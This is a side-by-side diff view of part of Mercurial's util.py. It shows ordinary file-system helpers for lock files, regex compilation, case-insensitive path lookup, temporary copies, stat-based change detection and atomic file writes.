1722 | timer = time.clock |
|
1729 | timer = time.clock | |
1723 | else: |
|
1730 | else: | |
1724 | checkosfilename = platform.checkosfilename |
|
1731 | checkosfilename = platform.checkosfilename | |
1725 | timer = time.time |
|
1732 | timer = time.time | |
1726 |
|
1733 | |||
1727 | if safehasattr(time, "perf_counter"): |
|
1734 | if safehasattr(time, "perf_counter"): | |
1728 | timer = time.perf_counter |
|
1735 | timer = time.perf_counter | |
1729 |
|
1736 | |||
1730 | def makelock(info, pathname): |
|
1737 | def makelock(info, pathname): | |
1731 | """Create a lock file atomically if possible |
|
1738 | """Create a lock file atomically if possible | |
1732 |
|
1739 | |||
1733 | This may leave a stale lock file if symlink isn't supported and signal |
|
1740 | This may leave a stale lock file if symlink isn't supported and signal | |
1734 | interrupt is enabled. |
|
1741 | interrupt is enabled. | |
1735 | """ |
|
1742 | """ | |
1736 | try: |
|
1743 | try: | |
1737 | return os.symlink(info, pathname) |
|
1744 | return os.symlink(info, pathname) | |
1738 | except OSError as why: |
|
1745 | except OSError as why: | |
1739 | if why.errno == errno.EEXIST: |
|
1746 | if why.errno == errno.EEXIST: | |
1740 | raise |
|
1747 | raise | |
1741 | except AttributeError: # no symlink in os |
|
1748 | except AttributeError: # no symlink in os | |
1742 | pass |
|
1749 | pass | |
1743 |
|
1750 | |||
1744 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
|
1751 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) | |
1745 | ld = os.open(pathname, flags) |
|
1752 | ld = os.open(pathname, flags) | |
1746 | os.write(ld, info) |
|
1753 | os.write(ld, info) | |
1747 | os.close(ld) |
|
1754 | os.close(ld) | |
1748 |
|
1755 | |||
1749 | def readlock(pathname): |
|
1756 | def readlock(pathname): | |
1750 | try: |
|
1757 | try: | |
1751 | return os.readlink(pathname) |
|
1758 | return os.readlink(pathname) | |
1752 | except OSError as why: |
|
1759 | except OSError as why: | |
1753 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
1760 | if why.errno not in (errno.EINVAL, errno.ENOSYS): | |
1754 | raise |
|
1761 | raise | |
1755 | except AttributeError: # no symlink in os |
|
1762 | except AttributeError: # no symlink in os | |
1756 | pass |
|
1763 | pass | |
1757 | fp = posixfile(pathname, 'rb') |
|
1764 | fp = posixfile(pathname, 'rb') | |
1758 | r = fp.read() |
|
1765 | r = fp.read() | |
1759 | fp.close() |
|
1766 | fp.close() | |
1760 | return r |
|
1767 | return r | |
1761 |
|
1768 | |||
1762 | def fstat(fp): |
|
1769 | def fstat(fp): | |
1763 | '''stat file object that may not have fileno method.''' |
|
1770 | '''stat file object that may not have fileno method.''' | |
1764 | try: |
|
1771 | try: | |
1765 | return os.fstat(fp.fileno()) |
|
1772 | return os.fstat(fp.fileno()) | |
1766 | except AttributeError: |
|
1773 | except AttributeError: | |
1767 | return os.stat(fp.name) |
|
1774 | return os.stat(fp.name) | |
1768 |
|
1775 | |||
1769 | # File system features |
|
1776 | # File system features | |
1770 |
|
1777 | |||
1771 | def fscasesensitive(path): |
|
1778 | def fscasesensitive(path): | |
1772 | """ |
|
1779 | """ | |
1773 | Return true if the given path is on a case-sensitive filesystem |
|
1780 | Return true if the given path is on a case-sensitive filesystem | |
1774 |
|
1781 | |||
1775 | Requires a path (like /foo/.hg) ending with a foldable final |
|
1782 | Requires a path (like /foo/.hg) ending with a foldable final | |
1776 | directory component. |
|
1783 | directory component. | |
1777 | """ |
|
1784 | """ | |
1778 | s1 = os.lstat(path) |
|
1785 | s1 = os.lstat(path) | |
1779 | d, b = os.path.split(path) |
|
1786 | d, b = os.path.split(path) | |
1780 | b2 = b.upper() |
|
1787 | b2 = b.upper() | |
1781 | if b == b2: |
|
1788 | if b == b2: | |
1782 | b2 = b.lower() |
|
1789 | b2 = b.lower() | |
1783 | if b == b2: |
|
1790 | if b == b2: | |
1784 | return True # no evidence against case sensitivity |
|
1791 | return True # no evidence against case sensitivity | |
1785 | p2 = os.path.join(d, b2) |
|
1792 | p2 = os.path.join(d, b2) | |
1786 | try: |
|
1793 | try: | |
1787 | s2 = os.lstat(p2) |
|
1794 | s2 = os.lstat(p2) | |
1788 | if s2 == s1: |
|
1795 | if s2 == s1: | |
1789 | return False |
|
1796 | return False | |
1790 | return True |
|
1797 | return True | |
1791 | except OSError: |
|
1798 | except OSError: | |
1792 | return True |
|
1799 | return True | |
1793 |
|
1800 | |||
1794 | try: |
|
1801 | try: | |
1795 | import re2 |
|
1802 | import re2 | |
1796 | _re2 = None |
|
1803 | _re2 = None | |
1797 | except ImportError: |
|
1804 | except ImportError: | |
1798 | _re2 = False |
|
1805 | _re2 = False | |
1799 |
|
1806 | |||
1800 | class _re(object): |
|
1807 | class _re(object): | |
1801 | def _checkre2(self): |
|
1808 | def _checkre2(self): | |
1802 | global _re2 |
|
1809 | global _re2 | |
1803 | try: |
|
1810 | try: | |
1804 | # check if match works, see issue3964 |
|
1811 | # check if match works, see issue3964 | |
1805 | _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
|
1812 | _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) | |
1806 | except ImportError: |
|
1813 | except ImportError: | |
1807 | _re2 = False |
|
1814 | _re2 = False | |
1808 |
|
1815 | |||
1809 | def compile(self, pat, flags=0): |
|
1816 | def compile(self, pat, flags=0): | |
1810 | '''Compile a regular expression, using re2 if possible |
|
1817 | '''Compile a regular expression, using re2 if possible | |
1811 |
|
1818 | |||
1812 | For best performance, use only re2-compatible regexp features. The |
|
1819 | For best performance, use only re2-compatible regexp features. The | |
1813 | only flags from the re module that are re2-compatible are |
|
1820 | only flags from the re module that are re2-compatible are | |
1814 | IGNORECASE and MULTILINE.''' |
|
1821 | IGNORECASE and MULTILINE.''' | |
1815 | if _re2 is None: |
|
1822 | if _re2 is None: | |
1816 | self._checkre2() |
|
1823 | self._checkre2() | |
1817 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
1824 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: | |
1818 | if flags & remod.IGNORECASE: |
|
1825 | if flags & remod.IGNORECASE: | |
1819 | pat = '(?i)' + pat |
|
1826 | pat = '(?i)' + pat | |
1820 | if flags & remod.MULTILINE: |
|
1827 | if flags & remod.MULTILINE: | |
1821 | pat = '(?m)' + pat |
|
1828 | pat = '(?m)' + pat | |
1822 | try: |
|
1829 | try: | |
1823 | return re2.compile(pat) |
|
1830 | return re2.compile(pat) | |
1824 | except re2.error: |
|
1831 | except re2.error: | |
1825 | pass |
|
1832 | pass | |
1826 | return remod.compile(pat, flags) |
|
1833 | return remod.compile(pat, flags) | |
1827 |
|
1834 | |||
1828 | @propertycache |
|
1835 | @propertycache | |
1829 | def escape(self): |
|
1836 | def escape(self): | |
1830 | '''Return the version of escape corresponding to self.compile. |
|
1837 | '''Return the version of escape corresponding to self.compile. | |
1831 |
|
1838 | |||
1832 | This is imperfect because whether re2 or re is used for a particular |
|
1839 | This is imperfect because whether re2 or re is used for a particular | |
1833 | function depends on the flags, etc, but it's the best we can do. |
|
1840 | function depends on the flags, etc, but it's the best we can do. | |
1834 | ''' |
|
1841 | ''' | |
1835 | global _re2 |
|
1842 | global _re2 | |
1836 | if _re2 is None: |
|
1843 | if _re2 is None: | |
1837 | self._checkre2() |
|
1844 | self._checkre2() | |
1838 | if _re2: |
|
1845 | if _re2: | |
1839 | return re2.escape |
|
1846 | return re2.escape | |
1840 | else: |
|
1847 | else: | |
1841 | return remod.escape |
|
1848 | return remod.escape | |
1842 |
|
1849 | |||
1843 | re = _re() |
|
1850 | re = _re() | |
1844 |
|
1851 | |||
1845 | _fspathcache = {} |
|
1852 | _fspathcache = {} | |
1846 | def fspath(name, root): |
|
1853 | def fspath(name, root): | |
1847 | '''Get name in the case stored in the filesystem |
|
1854 | '''Get name in the case stored in the filesystem | |
1848 |
|
1855 | |||
1849 | The name should be relative to root, and be normcase-ed for efficiency. |
|
1856 | The name should be relative to root, and be normcase-ed for efficiency. | |
1850 |
|
1857 | |||
1851 | Note that this function is unnecessary, and should not be |
|
1858 | Note that this function is unnecessary, and should not be | |
1852 | called, for case-sensitive filesystems (simply because it's expensive). |
|
1859 | called, for case-sensitive filesystems (simply because it's expensive). | |
1853 |
|
1860 | |||
1854 | The root should be normcase-ed, too. |
|
1861 | The root should be normcase-ed, too. | |
1855 | ''' |
|
1862 | ''' | |
1856 | def _makefspathcacheentry(dir): |
|
1863 | def _makefspathcacheentry(dir): | |
1857 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
1864 | return dict((normcase(n), n) for n in os.listdir(dir)) | |
1858 |
|
1865 | |||
1859 | seps = pycompat.ossep |
|
1866 | seps = pycompat.ossep | |
1860 | if pycompat.osaltsep: |
|
1867 | if pycompat.osaltsep: | |
1861 | seps = seps + pycompat.osaltsep |
|
1868 | seps = seps + pycompat.osaltsep | |
1862 | # Protect backslashes. This gets silly very quickly. |
|
1869 | # Protect backslashes. This gets silly very quickly. | |
1863 | seps.replace('\\','\\\\') |
|
1870 | seps.replace('\\','\\\\') | |
1864 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
1871 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) | |
1865 | dir = os.path.normpath(root) |
|
1872 | dir = os.path.normpath(root) | |
1866 | result = [] |
|
1873 | result = [] | |
1867 | for part, sep in pattern.findall(name): |
|
1874 | for part, sep in pattern.findall(name): | |
1868 | if sep: |
|
1875 | if sep: | |
1869 | result.append(sep) |
|
1876 | result.append(sep) | |
1870 | continue |
|
1877 | continue | |
1871 |
|
1878 | |||
1872 | if dir not in _fspathcache: |
|
1879 | if dir not in _fspathcache: | |
1873 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
1880 | _fspathcache[dir] = _makefspathcacheentry(dir) | |
1874 | contents = _fspathcache[dir] |
|
1881 | contents = _fspathcache[dir] | |
1875 |
|
1882 | |||
1876 | found = contents.get(part) |
|
1883 | found = contents.get(part) | |
1877 | if not found: |
|
1884 | if not found: | |
1878 | # retry "once per directory" per "dirstate.walk" which |
|
1885 | # retry "once per directory" per "dirstate.walk" which | |
1879 | # may take place for each patches of "hg qpush", for example |
|
1886 | # may take place for each patches of "hg qpush", for example | |
1880 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
1887 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) | |
1881 | found = contents.get(part) |
|
1888 | found = contents.get(part) | |
1882 |
|
1889 | |||
1883 | result.append(found or part) |
|
1890 | result.append(found or part) | |
1884 | dir = os.path.join(dir, part) |
|
1891 | dir = os.path.join(dir, part) | |
1885 |
|
1892 | |||
1886 | return ''.join(result) |
|
1893 | return ''.join(result) | |
1887 |
|
1894 | |||
1888 | def checknlink(testfile): |
|
1895 | def checknlink(testfile): | |
1889 | '''check whether hardlink count reporting works properly''' |
|
1896 | '''check whether hardlink count reporting works properly''' | |
1890 |
|
1897 | |||
1891 | # testfile may be open, so we need a separate file for checking to |
|
1898 | # testfile may be open, so we need a separate file for checking to | |
1892 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
1899 | # work around issue2543 (or testfile may get lost on Samba shares) | |
1893 | f1, f2, fp = None, None, None |
|
1900 | f1, f2, fp = None, None, None | |
1894 | try: |
|
1901 | try: | |
1895 | fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile), |
|
1902 | fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile), | |
1896 | suffix='1~', dir=os.path.dirname(testfile)) |
|
1903 | suffix='1~', dir=os.path.dirname(testfile)) | |
1897 | os.close(fd) |
|
1904 | os.close(fd) | |
1898 | f2 = '%s2~' % f1[:-2] |
|
1905 | f2 = '%s2~' % f1[:-2] | |
1899 |
|
1906 | |||
1900 | oslink(f1, f2) |
|
1907 | oslink(f1, f2) | |
1901 | # nlinks() may behave differently for files on Windows shares if |
|
1908 | # nlinks() may behave differently for files on Windows shares if | |
1902 | # the file is open. |
|
1909 | # the file is open. | |
1903 | fp = posixfile(f2) |
|
1910 | fp = posixfile(f2) | |
1904 | return nlinks(f2) > 1 |
|
1911 | return nlinks(f2) > 1 | |
1905 | except OSError: |
|
1912 | except OSError: | |
1906 | return False |
|
1913 | return False | |
1907 | finally: |
|
1914 | finally: | |
1908 | if fp is not None: |
|
1915 | if fp is not None: | |
1909 | fp.close() |
|
1916 | fp.close() | |
1910 | for f in (f1, f2): |
|
1917 | for f in (f1, f2): | |
1911 | try: |
|
1918 | try: | |
1912 | if f is not None: |
|
1919 | if f is not None: | |
1913 | os.unlink(f) |
|
1920 | os.unlink(f) | |
1914 | except OSError: |
|
1921 | except OSError: | |
1915 | pass |
|
1922 | pass | |
1916 |
|
1923 | |||
1917 | def endswithsep(path): |
|
1924 | def endswithsep(path): | |
1918 | '''Check path ends with os.sep or os.altsep.''' |
|
1925 | '''Check path ends with os.sep or os.altsep.''' | |
1919 | return (path.endswith(pycompat.ossep) |
|
1926 | return (path.endswith(pycompat.ossep) | |
1920 | or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
|
1927 | or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) | |
1921 |
|
1928 | |||
1922 | def splitpath(path): |
|
1929 | def splitpath(path): | |
1923 | '''Split path by os.sep. |
|
1930 | '''Split path by os.sep. | |
1924 | Note that this function does not use os.altsep because this is |
|
1931 | Note that this function does not use os.altsep because this is | |
1925 | an alternative of simple "xxx.split(os.sep)". |
|
1932 | an alternative of simple "xxx.split(os.sep)". | |
1926 | It is recommended to use os.path.normpath() before using this |
|
1933 | It is recommended to use os.path.normpath() before using this | |
1927 | function if need.''' |
|
1934 | function if need.''' | |
1928 | return path.split(pycompat.ossep) |
|
1935 | return path.split(pycompat.ossep) | |
1929 |
|
1936 | |||
1930 | def mktempcopy(name, emptyok=False, createmode=None): |
|
1937 | def mktempcopy(name, emptyok=False, createmode=None): | |
1931 | """Create a temporary file with the same contents from name |
|
1938 | """Create a temporary file with the same contents from name | |
1932 |
|
1939 | |||
1933 | The permission bits are copied from the original file. |
|
1940 | The permission bits are copied from the original file. | |
1934 |
|
1941 | |||
1935 | If the temporary file is going to be truncated immediately, you |
|
1942 | If the temporary file is going to be truncated immediately, you | |
1936 | can use emptyok=True as an optimization. |
|
1943 | can use emptyok=True as an optimization. | |
1937 |
|
1944 | |||
1938 | Returns the name of the temporary file. |
|
1945 | Returns the name of the temporary file. | |
1939 | """ |
|
1946 | """ | |
1940 | d, fn = os.path.split(name) |
|
1947 | d, fn = os.path.split(name) | |
1941 | fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) |
|
1948 | fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) | |
1942 | os.close(fd) |
|
1949 | os.close(fd) | |
1943 | # Temporary files are created with mode 0600, which is usually not |
|
1950 | # Temporary files are created with mode 0600, which is usually not | |
1944 | # what we want. If the original file already exists, just copy |
|
1951 | # what we want. If the original file already exists, just copy | |
1945 | # its mode. Otherwise, manually obey umask. |
|
1952 | # its mode. Otherwise, manually obey umask. | |
1946 | copymode(name, temp, createmode) |
|
1953 | copymode(name, temp, createmode) | |
1947 | if emptyok: |
|
1954 | if emptyok: | |
1948 | return temp |
|
1955 | return temp | |
1949 | try: |
|
1956 | try: | |
1950 | try: |
|
1957 | try: | |
1951 | ifp = posixfile(name, "rb") |
|
1958 | ifp = posixfile(name, "rb") | |
1952 | except IOError as inst: |
|
1959 | except IOError as inst: | |
1953 | if inst.errno == errno.ENOENT: |
|
1960 | if inst.errno == errno.ENOENT: | |
1954 | return temp |
|
1961 | return temp | |
1955 | if not getattr(inst, 'filename', None): |
|
1962 | if not getattr(inst, 'filename', None): | |
1956 | inst.filename = name |
|
1963 | inst.filename = name | |
1957 | raise |
|
1964 | raise | |
1958 | ofp = posixfile(temp, "wb") |
|
1965 | ofp = posixfile(temp, "wb") | |
1959 | for chunk in filechunkiter(ifp): |
|
1966 | for chunk in filechunkiter(ifp): | |
1960 | ofp.write(chunk) |
|
1967 | ofp.write(chunk) | |
1961 | ifp.close() |
|
1968 | ifp.close() | |
1962 | ofp.close() |
|
1969 | ofp.close() | |
1963 | except: # re-raises |
|
1970 | except: # re-raises | |
1964 | try: |
|
1971 | try: | |
1965 | os.unlink(temp) |
|
1972 | os.unlink(temp) | |
1966 | except OSError: |
|
1973 | except OSError: | |
1967 | pass |
|
1974 | pass | |
1968 | raise |
|
1975 | raise | |
1969 | return temp |
|
1976 | return temp | |
1970 |
|
1977 | |||
1971 | class filestat(object): |
|
1978 | class filestat(object): | |
1972 | """help to exactly detect change of a file |
|
1979 | """help to exactly detect change of a file | |
1973 |
|
1980 | |||
1974 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
1981 | 'stat' attribute is result of 'os.stat()' if specified 'path' | |
1975 | exists. Otherwise, it is None. This can avoid preparative |
|
1982 | exists. Otherwise, it is None. This can avoid preparative | |
1976 | 'exists()' examination on client side of this class. |
|
1983 | 'exists()' examination on client side of this class. | |
1977 | """ |
|
1984 | """ | |
1978 | def __init__(self, stat): |
|
1985 | def __init__(self, stat): | |
1979 | self.stat = stat |
|
1986 | self.stat = stat | |
1980 |
|
1987 | |||
1981 | @classmethod |
|
1988 | @classmethod | |
1982 | def frompath(cls, path): |
|
1989 | def frompath(cls, path): | |
1983 | try: |
|
1990 | try: | |
1984 | stat = os.stat(path) |
|
1991 | stat = os.stat(path) | |
1985 | except OSError as err: |
|
1992 | except OSError as err: | |
1986 | if err.errno != errno.ENOENT: |
|
1993 | if err.errno != errno.ENOENT: | |
1987 | raise |
|
1994 | raise | |
1988 | stat = None |
|
1995 | stat = None | |
1989 | return cls(stat) |
|
1996 | return cls(stat) | |
1990 |
|
1997 | |||
1991 | @classmethod |
|
1998 | @classmethod | |
1992 | def fromfp(cls, fp): |
|
1999 | def fromfp(cls, fp): | |
1993 | stat = os.fstat(fp.fileno()) |
|
2000 | stat = os.fstat(fp.fileno()) | |
1994 | return cls(stat) |
|
2001 | return cls(stat) | |
1995 |
|
2002 | |||
1996 | __hash__ = object.__hash__ |
|
2003 | __hash__ = object.__hash__ | |
1997 |
|
2004 | |||
1998 | def __eq__(self, old): |
|
2005 | def __eq__(self, old): | |
1999 | try: |
|
2006 | try: | |
2000 | # if ambiguity between stat of new and old file is |
|
2007 | # if ambiguity between stat of new and old file is | |
2001 | # avoided, comparison of size, ctime and mtime is enough |
|
2008 | # avoided, comparison of size, ctime and mtime is enough | |
2002 | # to exactly detect change of a file regardless of platform |
|
2009 | # to exactly detect change of a file regardless of platform | |
2003 | return (self.stat.st_size == old.stat.st_size and |
|
2010 | return (self.stat.st_size == old.stat.st_size and | |
2004 | self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and |
|
2011 | self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and | |
2005 | self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]) |
|
2012 | self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]) | |
2006 | except AttributeError: |
|
2013 | except AttributeError: | |
2007 | pass |
|
2014 | pass | |
2008 | try: |
|
2015 | try: | |
2009 | return self.stat is None and old.stat is None |
|
2016 | return self.stat is None and old.stat is None | |
2010 | except AttributeError: |
|
2017 | except AttributeError: | |
2011 | return False |
|
2018 | return False | |
2012 |
|
2019 | |||
2013 | def isambig(self, old): |
|
2020 | def isambig(self, old): | |
2014 | """Examine whether new (= self) stat is ambiguous against old one |
|
2021 | """Examine whether new (= self) stat is ambiguous against old one | |
2015 |
|
2022 | |||
2016 | "S[N]" below means stat of a file at N-th change: |
|
2023 | "S[N]" below means stat of a file at N-th change: | |
2017 |
|
2024 | |||
2018 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
2025 | - S[n-1].ctime < S[n].ctime: can detect change of a file | |
2019 | - S[n-1].ctime == S[n].ctime |
|
2026 | - S[n-1].ctime == S[n].ctime | |
2020 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
2027 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) | |
2021 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
2028 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) | |
2022 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
2029 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) | |
2023 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
2030 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) | |
2024 |
|
2031 | |||
2025 | Case (*2) above means that a file was changed twice or more at |
|
2032 | Case (*2) above means that a file was changed twice or more at | |
2026 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
2033 | same time in sec (= S[n-1].ctime), and comparison of timestamp | |
2027 | is ambiguous. |
|
2034 | is ambiguous. | |
2028 |
|
2035 | |||
2029 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
2036 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if | |
2030 | timestamp is ambiguous". |
|
2037 | timestamp is ambiguous". | |
2031 |
|
2038 | |||
2032 | But advancing mtime only in case (*2) doesn't work as |
|
2039 | But advancing mtime only in case (*2) doesn't work as | |
2033 | expected, because naturally advanced S[n].mtime in case (*1) |
|
2040 | expected, because naturally advanced S[n].mtime in case (*1) | |
2034 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
2041 | might be equal to manually advanced S[n-1 or earlier].mtime. | |
2035 |
|
2042 | |||
2036 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
2043 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be | |
2037 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
2044 | treated as ambiguous regardless of mtime, to avoid overlooking | |
2038 | by confliction between such mtime. |
|
2045 | by confliction between such mtime. | |
2039 |
|
2046 | |||
2040 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
2047 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != | |
2041 | S[n].mtime", even if size of a file isn't changed. |
|
2048 | S[n].mtime", even if size of a file isn't changed. | |
2042 | """ |
|
2049 | """ | |
2043 | try: |
|
2050 | try: | |
2044 | return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]) |
|
2051 | return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]) | |
2045 | except AttributeError: |
|
2052 | except AttributeError: | |
2046 | return False |
|
2053 | return False | |
2047 |
|
2054 | |||
2048 | def avoidambig(self, path, old): |
|
2055 | def avoidambig(self, path, old): | |
2049 | """Change file stat of specified path to avoid ambiguity |
|
2056 | """Change file stat of specified path to avoid ambiguity | |
2050 |
|
2057 | |||
2051 | 'old' should be previous filestat of 'path'. |
|
2058 | 'old' should be previous filestat of 'path'. | |
2052 |
|
2059 | |||
2053 | This skips avoiding ambiguity, if a process doesn't have |
|
2060 | This skips avoiding ambiguity, if a process doesn't have | |
2054 | appropriate privileges for 'path'. This returns False in this |
|
2061 | appropriate privileges for 'path'. This returns False in this | |
2055 | case. |
|
2062 | case. | |
2056 |
|
2063 | |||
2057 | Otherwise, this returns True, as "ambiguity is avoided". |
|
2064 | Otherwise, this returns True, as "ambiguity is avoided". | |
2058 | """ |
|
2065 | """ | |
2059 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
|
2066 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff | |
2060 | try: |
|
2067 | try: | |
2061 | os.utime(path, (advanced, advanced)) |
|
2068 | os.utime(path, (advanced, advanced)) | |
2062 | except OSError as inst: |
|
2069 | except OSError as inst: | |
2063 | if inst.errno == errno.EPERM: |
|
2070 | if inst.errno == errno.EPERM: | |
2064 | # utime() on the file created by another user causes EPERM, |
|
2071 | # utime() on the file created by another user causes EPERM, | |
2065 | # if a process doesn't have appropriate privileges |
|
2072 | # if a process doesn't have appropriate privileges | |
2066 | return False |
|
2073 | return False | |
2067 | raise |
|
2074 | raise | |
2068 | return True |
|
2075 | return True | |
2069 |
|
2076 | |||
2070 | def __ne__(self, other): |
|
2077 | def __ne__(self, other): | |
2071 | return not self == other |
|
2078 | return not self == other | |
2072 |
|
2079 | |||
2073 | class atomictempfile(object): |
|
2080 | class atomictempfile(object): | |
2074 | '''writable file object that atomically updates a file |
|
2081 | '''writable file object that atomically updates a file | |
2075 |
|
2082 | |||
2076 | All writes will go to a temporary copy of the original file. Call |
|
2083 | All writes will go to a temporary copy of the original file. Call | |
2077 | close() when you are done writing, and atomictempfile will rename |
|
2084 | close() when you are done writing, and atomictempfile will rename | |
2078 | the temporary copy to the original name, making the changes |
|
2085 | the temporary copy to the original name, making the changes | |
2079 | visible. If the object is destroyed without being closed, all your |
|
2086 | visible. If the object is destroyed without being closed, all your | |
2080 | writes are discarded. |
|
2087 | writes are discarded. | |
2081 |
|
2088 | |||
2082 | checkambig argument of constructor is used with filestat, and is |
|
2089 | checkambig argument of constructor is used with filestat, and is | |
2083 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
2090 | useful only if target file is guarded by any lock (e.g. repo.lock | |
2084 | or repo.wlock). |
|
2091 | or repo.wlock). | |
2085 | ''' |
|
2092 | ''' | |
2086 | def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
|
2093 | def __init__(self, name, mode='w+b', createmode=None, checkambig=False): | |
2087 | self.__name = name # permanent name |
|
2094 | self.__name = name # permanent name | |
2088 | self._tempname = mktempcopy(name, emptyok=('w' in mode), |
|
2095 | self._tempname = mktempcopy(name, emptyok=('w' in mode), | |
2089 | createmode=createmode) |
|
2096 | createmode=createmode) | |
2090 | self._fp = posixfile(self._tempname, mode) |
|
2097 | self._fp = posixfile(self._tempname, mode) | |
2091 | self._checkambig = checkambig |
|
2098 | self._checkambig = checkambig | |
2092 |
|
2099 | |||
2093 | # delegated methods |
|
2100 | # delegated methods | |
2094 | self.read = self._fp.read |
|
2101 | self.read = self._fp.read | |
2095 | self.write = self._fp.write |
|
2102 | self.write = self._fp.write | |
2096 | self.seek = self._fp.seek |
|
2103 | self.seek = self._fp.seek | |
2097 | self.tell = self._fp.tell |
|
2104 | self.tell = self._fp.tell | |
2098 | self.fileno = self._fp.fileno |
|
2105 | self.fileno = self._fp.fileno | |
2099 |
|
2106 | |||
2100 | def close(self): |
|
2107 | def close(self): | |
2101 | if not self._fp.closed: |
|
2108 | if not self._fp.closed: | |
2102 | self._fp.close() |
|
2109 | self._fp.close() | |
2103 | filename = localpath(self.__name) |
|
2110 | filename = localpath(self.__name) | |
2104 | oldstat = self._checkambig and filestat.frompath(filename) |
|
2111 | oldstat = self._checkambig and filestat.frompath(filename) | |
2105 | if oldstat and oldstat.stat: |
|
2112 | if oldstat and oldstat.stat: | |
2106 | rename(self._tempname, filename) |
|
2113 | rename(self._tempname, filename) | |
2107 | newstat = filestat.frompath(filename) |
|
2114 | newstat = filestat.frompath(filename) | |
2108 | if newstat.isambig(oldstat): |
|
2115 | if newstat.isambig(oldstat): | |
2109 | # stat of changed file is ambiguous to original one |
|
2116 | # stat of changed file is ambiguous to original one | |
2110 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
|
2117 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff | |
2111 | os.utime(filename, (advanced, advanced)) |
|
2118 | os.utime(filename, (advanced, advanced)) | |
2112 | else: |
|
2119 | else: | |
2113 | rename(self._tempname, filename) |
|
2120 | rename(self._tempname, filename) | |
2114 |
|
2121 | |||
2115 | def discard(self): |
|
2122 | def discard(self): | |
2116 | if not self._fp.closed: |
|
2123 | if not self._fp.closed: | |
2117 | try: |
|
2124 | try: | |
2118 | os.unlink(self._tempname) |
|
2125 | os.unlink(self._tempname) | |
2119 | except OSError: |
|
2126 | except OSError: | |
2120 | pass |
|
2127 | pass | |
2121 | self._fp.close() |
|
2128 | self._fp.close() | |
2122 |
|
2129 | |||
2123 | def __del__(self): |
|
2130 | def __del__(self): | |
2124 | if safehasattr(self, '_fp'): # constructor actually did something |
|
2131 | if safehasattr(self, '_fp'): # constructor actually did something | |
2125 | self.discard() |
|
2132 | self.discard() | |
2126 |
|
2133 | |||
2127 | def __enter__(self): |
|
2134 | def __enter__(self): | |
2128 | return self |
|
2135 | return self | |
2129 |
|
2136 | |||
2130 | def __exit__(self, exctype, excvalue, traceback): |
|
2137 | def __exit__(self, exctype, excvalue, traceback): | |
2131 | if exctype is not None: |
|
2138 | if exctype is not None: | |
2132 | self.discard() |
|
2139 | self.discard() | |
2133 | else: |
|
2140 | else: | |
2134 | self.close() |
|
2141 | self.close() | |
2135 |
|
2142 | |||
2136 | def unlinkpath(f, ignoremissing=False): |
|
2143 | def unlinkpath(f, ignoremissing=False): | |
2137 | """unlink and remove the directory if it is empty""" |
|
2144 | """unlink and remove the directory if it is empty""" | |
2138 | if ignoremissing: |
|
2145 | if ignoremissing: | |
2139 | tryunlink(f) |
|
2146 | tryunlink(f) | |
2140 | else: |
|
2147 | else: | |
2141 | unlink(f) |
|
2148 | unlink(f) | |
2142 | # try removing directories that might now be empty |
|
2149 | # try removing directories that might now be empty | |
2143 | try: |
|
2150 | try: | |
2144 | removedirs(os.path.dirname(f)) |
|
2151 | removedirs(os.path.dirname(f)) | |
2145 | except OSError: |
|
2152 | except OSError: | |
2146 | pass |
|
2153 | pass | |
2147 |
|
2154 | |||
2148 | def tryunlink(f): |
|
2155 | def tryunlink(f): | |
2149 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
